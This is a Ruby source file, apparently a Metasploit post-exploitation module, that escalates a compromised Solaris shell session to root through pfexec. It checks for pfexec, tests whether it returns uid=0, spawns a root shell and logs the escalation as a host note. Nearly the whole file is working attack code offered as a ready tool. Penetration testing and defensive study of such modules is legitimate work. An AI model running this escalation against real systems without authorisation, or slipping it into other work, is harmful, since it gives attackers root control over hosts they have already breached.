82 lines
2.3 KiB
Ruby
82 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Solaris::System
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include Msf::Post::Solaris::Priv
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Solaris pfexec Upgrade Shell',
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'Description' => %q{
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This module attempts to upgrade a shell session to UID 0 using pfexec.
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},
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'License' => MSF_LICENSE,
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'Author' => ['bcoles'],
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'Platform' => 'solaris',
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'References' =>
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[
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['URL', 'https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html'],
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['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],
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['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']
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],
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'SessionTypes' => ['shell']
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))
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register_options [
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OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),
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OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])
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]
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end
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def shell_path
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datastore['SHELL_PATH'].to_s
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end
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def pfexec_path
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datastore['PFEXEC_PATH'].to_s
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end
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def run
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unless session.type == 'shell'
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fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
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end
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if is_root?
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fail_with Failure::BadConfig, 'Session already has root privileges'
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end
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unless command_exists? pfexec_path
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fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
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end
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user = cmd_exec('id -un').to_s
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print_status "Trying pfexec as `#{user}' ..."
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res = cmd_exec "#{pfexec_path} #{shell_path} -c id"
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vprint_status res
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unless res.include? 'uid=0'
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fail_with Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec"
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end
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print_good 'Success! Upgrading session ...'
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cmd_exec "#{pfexec_path} #{shell_path}"
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unless is_root?
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fail_with Failure::NotVulnerable, 'Failed to escalate'
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end
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print_good 'Success! root shell secured'
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report_note(
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:host => session,
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:type => 'host.escalation',
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:data => "User `#{user}' pfexec'ed to a root shell"
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)
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end
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end
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